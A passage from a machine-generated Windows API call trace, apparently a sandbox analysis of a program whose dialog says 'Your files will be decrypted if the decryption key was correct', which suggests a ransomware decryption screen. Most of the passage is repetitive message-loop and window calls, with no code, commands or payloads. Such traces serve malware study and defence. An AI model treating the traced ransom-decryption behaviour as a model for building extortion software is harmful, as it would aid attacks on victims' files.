wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.130] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.130] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.130] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.130] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.130] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.130] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.130] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.130] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.130] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.130] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.130] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.130] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.130] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.130] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.130] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.130] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.130] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.131] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.131] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.131] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.131] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.131] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.131] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.131] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.131] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.131] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.131] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.131] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.131] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.131] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.131] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.131] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.131] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.131] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.155] GetAsyncKeyState (vKey=1) returned 0 [0041.155] GetAsyncKeyState (vKey=2) returned 0 [0041.155] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.213] GetAsyncKeyState (vKey=1) returned 0 [0041.213] GetAsyncKeyState (vKey=2) returned 0 [0041.213] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.263] GetAsyncKeyState (vKey=1) returned 0 [0041.263] GetAsyncKeyState (vKey=2) returned 0 [0041.263] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.294] GetAsyncKeyState (vKey=1) returned 0 [0041.294] GetAsyncKeyState (vKey=2) returned 0 [0041.294] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.356] GetAsyncKeyState (vKey=1) returned 0 [0041.357] GetAsyncKeyState (vKey=2) returned 0 [0041.357] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 1 [0041.357] TranslateAcceleratorW (hWnd=0x8018c, hAccTable=0x600c5, lpMsg=0xbf60cff870) returned 0 [0041.357] IsDialogMessageW (hDlg=0x8018c, lpMsg=0xbf60cff870) returned 1 [0041.357] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.357] Sleep (dwMilliseconds=0xa) [0041.385] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 1 [0041.385] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.385] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x210, wParam=0x201, lParam=0x1a700fc) returned 0x0 [0041.385] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.385] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x21, wParam=0x8018c, lParam=0x2010001) returned 0x1 [0041.385] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.385] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.385] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x20, wParam=0x501ea, lParam=0x2010001) returned 0x0 [0041.386] TranslateAcceleratorW (hWnd=0x8018c, hAccTable=0x600c5, lpMsg=0xbf60cff870) returned 0 [0041.386] IsDialogMessageW (hDlg=0x8018c, lpMsg=0xbf60cff870) returned 1 [0041.386] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.386] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x400, wParam=0x0, lParam=0x0) returned 0x0 [0041.386] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 1 [0041.386] TranslateAcceleratorW (hWnd=0x8018c, hAccTable=0x600c5, lpMsg=0xbf60cff870) returned 0 [0041.386] IsDialogMessageW (hDlg=0x8018c, lpMsg=0xbf60cff870) returned 1 [0041.386] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.386] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.386] GetWindowLongPtrW (hWnd=0x501ea, nIndex=-21) returned 0x3 [0041.386] IsWindow (hWnd=0x501ea) returned 1 [0041.386] IsWindowEnabled (hWnd=0x501ea) returned 1 [0041.386] GetCursorPos (in: lpPoint=0xbf60cff160 | out: lpPoint=0xbf60cff160*(x=573, y=541)) returned 1 [0041.386] ScreenToClient (in: hWnd=0x8018c, lpPoint=0xbf60cff160 | out: lpPoint=0xbf60cff160) returned 1 [0041.387] GetAsyncKeyState (vKey=1) returned 1 [0041.387] GetAsyncKeyState (vKey=2) returned 0 [0041.387] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 1 [0041.387] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.387] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.387] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x20, wParam=0x501ea, lParam=0x2000001) returned 0x0 [0041.387] TranslateAcceleratorW (hWnd=0x8018c, hAccTable=0x600c5, lpMsg=0xbf60cff870) returned 0 [0041.387] IsDialogMessageW (hDlg=0x8018c, lpMsg=0xbf60cff870) returned 1 [0041.387] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 1 [0041.387] TranslateAcceleratorW (hWnd=0x8018c, hAccTable=0x600c5, lpMsg=0xbf60cff870) returned 0 [0041.387] IsDialogMessageW (hDlg=0x8018c, lpMsg=0xbf60cff870) returned 1 [0041.387] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.387] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x14, wParam=0x190106e3, lParam=0x0) returned 0x1 [0041.387] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.387] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.387] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.387] SetBkColor (hdc=0x190106e3, color=0xf0f0f0) returned 0xf0f0f0 [0041.387] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.387] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x318, wParam=0x190106e3, lParam=0x4) returned 0x0 [0041.387] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.387] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.387] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.387] SetBkColor (hdc=0x190106e3, color=0xf0f0f0) returned 0xf0f0f0 [0041.388] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.388] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.388] GetWindowLongPtrW (hWnd=0x501ea, nIndex=-21) returned 0x3 [0041.388] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x4e, wParam=0x3, lParam=0xbf60cff010) returned 0x0 [0041.388] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.388] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.388] GetWindowLongPtrW (hWnd=0x501ea, nIndex=-21) returned 0x3 [0041.388] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x4e, wParam=0x3, lParam=0xbf60cff010) returned 0x0 [0041.389] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 1 [0041.389] TranslateAcceleratorW (hWnd=0x8018c, hAccTable=0x600c5, lpMsg=0xbf60cff870) returned 0 [0041.389] IsDialogMessageW (hDlg=0x8018c, lpMsg=0xbf60cff870) returned 0 [0041.389] TranslateMessage (lpMsg=0xbf60cff870) returned 0 [0041.389] DispatchMessageW (lpMsg=0xbf60cff870) returned 0x0 [0041.389] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 1 [0041.389] TranslateAcceleratorW (hWnd=0x8018c, hAccTable=0x600c5, lpMsg=0xbf60cff870) returned 0 [0041.389] TranslateMessage (lpMsg=0xbf60cff870) returned 0 [0041.390] DispatchMessageW (lpMsg=0xbf60cff870) returned 0x0 [0041.390] GetForegroundWindow () returned 0x8018c [0041.390] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.390] GetCursorPos (in: lpPoint=0xbf60cff6d0 | out: lpPoint=0xbf60cff6d0*(x=573, y=541)) returned 1 [0041.390] ScreenToClient (in: hWnd=0x8018c, lpPoint=0xbf60cff6d0 | out: lpPoint=0xbf60cff6d0) returned 1 [0041.390] GetAsyncKeyState (vKey=1) returned 0 [0041.390] GetAsyncKeyState (vKey=2) returned 0 [0041.390] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.390] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.390] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.390] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.390] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.390] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.391] SetWindowTextW (hWnd=0x8018a, lpString="") returned 1 [0041.392] SendMessageW (hWnd=0x8018a, Msg=0xb1, wParam=0xf4240, lParam=0xf423f) returned 0x1 [0041.392] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 1 [0041.392] TranslateAcceleratorW (hWnd=0x8018c, hAccTable=0x600c5, lpMsg=0xbf60cff870) returned 0 [0041.392] IsDialogMessageW (hDlg=0x8018c, lpMsg=0xbf60cff870) returned 1 [0041.392] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.392] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.392] GetWindowLongPtrW (hWnd=0x8018a, nIndex=-21) returned 0x4 [0041.392] GetWindowLongPtrW (hWnd=0x8018a, nIndex=-21) returned 0x4 [0041.392] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.392] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0x0 [0041.392] SetBkColor (hdc=0x1601069e, color=0x0) returned 0xffffff [0041.392] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.392] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.392] GetWindowLongPtrW (hWnd=0x8018a, nIndex=-21) returned 0x4 [0041.392] GetWindowLongPtrW (hWnd=0x8018a, nIndex=-21) returned 0x4 [0041.392] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.392] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0xff00 [0041.392] SetBkColor (hdc=0x1601069e, color=0x0) returned 0x0 [0041.392] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.392] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.392] GetWindowLongPtrW (hWnd=0x8018a, nIndex=-21) returned 0x4 [0041.392] GetWindowLongPtrW (hWnd=0x8018a, nIndex=-21) returned 0x4 [0041.392] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.392] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0xff00 [0041.392] SetBkColor (hdc=0x1601069e, color=0x0) returned 0x0 [0041.393] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.393] MessageBoxW (hWnd=0x0, lpText="Your files will be decrypted if the decryption key was correct", lpCaption="Decrypt files", uType=0x10040) returned 1 [0041.411] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.412] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x86, wParam=0x0, lParam=0xd017e) returned 0x1 [0041.412] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.412] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.412] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x6, wParam=0x0, lParam=0xd017e) returned 0x0 [0041.416] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.416] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.416] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x20, wParam=0x501ea, lParam=0x2000001) returned 0x0 [0041.416] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.416] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x14, wParam=0x190106e3, lParam=0x0) returned 0x1 [0041.416] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.416] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.416] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.416] SetBkColor (hdc=0x190106e3, color=0xf0f0f0) returned 0xf0f0f0 [0041.416] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.416] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x318, wParam=0x190106e3, lParam=0x4) returned 0x0 [0041.416] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.416] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.416] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.416] SetBkColor (hdc=0x190106e3, color=0xf0f0f0) returned 0xf0f0f0 [0041.416] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.416] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.416] GetWindowLongPtrW (hWnd=0x501ea, nIndex=-21) returned 0x3 [0041.416] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x4e, wParam=0x3, lParam=0xbf60cfeb40) returned 0x0 [0041.416] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.416] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.416] GetWindowLongPtrW (hWnd=0x501ea, nIndex=-21) returned 0x3 [0041.416] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x4e, wParam=0x3, lParam=0xbf60cfeb40) returned 0x0 [0041.419] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.419] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.419] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x4e, wParam=0x3, lParam=0xbf60cff040) returned 0x0 [0041.419] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.419] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x14, wParam=0x230107d2, lParam=0x0) returned 0x1 [0041.419] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.419] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.419] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.419] SetBkColor (hdc=0x230107d2, color=0xf0f0f0) returned 0xffffff [0041.419] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.419] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x318, wParam=0x230107d2, lParam=0x4) returned 0x0 [0041.419] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.419] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.419] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.420] SetBkColor (hdc=0x230107d2, color=0xf0f0f0) returned 0xf0f0f0 [0041.420] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.420] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.420] GetWindowLongPtrW (hWnd=0x501ea, nIndex=-21) returned 0x3 [0041.420] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x4e, wParam=0x3, lParam=0xbf60cfeb40) returned 0x0 [0041.420] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.420] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.420] GetWindowLongPtrW (hWnd=0x501ea, nIndex=-21) returned 0x3 [0041.420] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x4e, wParam=0x3, lParam=0xbf60cfeb40) returned 0x0 [0041.420] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.420] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x14, wParam=0x1b0106e3, lParam=0x0) returned 0x1 [0041.420] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.420] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.420] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.420] SetBkColor (hdc=0x1b0106e3, color=0xf0f0f0) returned 0xffffff [0041.420] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.420] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x318, wParam=0x1b0106e3, lParam=0x4) returned 0x0 [0041.420] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.420] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.420] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.420] SetBkColor (hdc=0x1b0106e3, color=0xf0f0f0) returned 0xf0f0f0 [0041.420] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.420] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.420] GetWindowLongPtrW (hWnd=0x501ea, nIndex=-21) returned 0x3 [0041.420] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x4e, wParam=0x3, lParam=0xbf60cfeb40) returned 0x0 [0041.420] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.420] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.420] GetWindowLongPtrW (hWnd=0x501ea, nIndex=-21) returned 0x3 [0041.420] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x4e, wParam=0x3, lParam=0xbf60cfeb40) returned 0x0 [0041.432] Shell_NotifyIconW (dwMessage=0x1, lpData=0xbf60cfe940) returned 1 [0041.433] KillTimer (hWnd=0x7002c, uIDEvent=0x1) returned 1 [0041.433] SetTimer (hWnd=0x7002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0041.433] GetForegroundWindow () returned 0xd017e [0041.433] GetWindowLongPtrW (hWnd=0xd017e, nIndex=-21) returned 0xbf60cff6e0 [0041.477] GetForegroundWindow () returned 0xd017e [0041.477] GetWindowLongPtrW (hWnd=0xd017e, nIndex=-21) returned 0xbf60cff6e0 [0041.525] GetForegroundWindow () returned 0xd017e [0041.525] GetWindowLongPtrW (hWnd=0xd017e, nIndex=-21) returned 0xbf60cff6e0 [0041.583] GetForegroundWindow () returned 0xd017e [0041.583] GetWindowLongPtrW (hWnd=0xd017e, nIndex=-21) returned 0xbf60cff6e0 [0041.618] GetForegroundWindow () returned 0xd017e [0041.618] GetWindowLongPtrW (hWnd=0xd017e, nIndex=-21) returned 0xbf60cff6e0 [0041.666] GetForegroundWindow () returned 0x80208 [0041.666] GetWindowLongPtrW (hWnd=0x80208, nIndex=-21) returned 0x0 [0041.714] GetForegroundWindow () returned 0xd017e [0041.714] GetWindowLongPtrW (hWnd=0xd017e, nIndex=-21) returned 0xbf60cff6e0 [0041.768] GetForegroundWindow () returned 0xd017e [0041.768] GetWindowLongPtrW (hWnd=0xd017e, nIndex=-21) returned 0xbf60cff6e0 [0041.790] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.790] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x46, wParam=0x0, lParam=0xbf60cff2a0) returned 0x0 [0041.790] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.790] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x47, wParam=0x0, lParam=0xbf60cff2a0) returned 0x0 [0041.790] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.790] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0041.790] NtdllDefWindowProc_W (hWnd=0x7002c, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0041.790] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.790] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0041.791] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.791] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.791] NtdllDialogWndProc_W (hDlg=0x8018c, Msg=0x6, 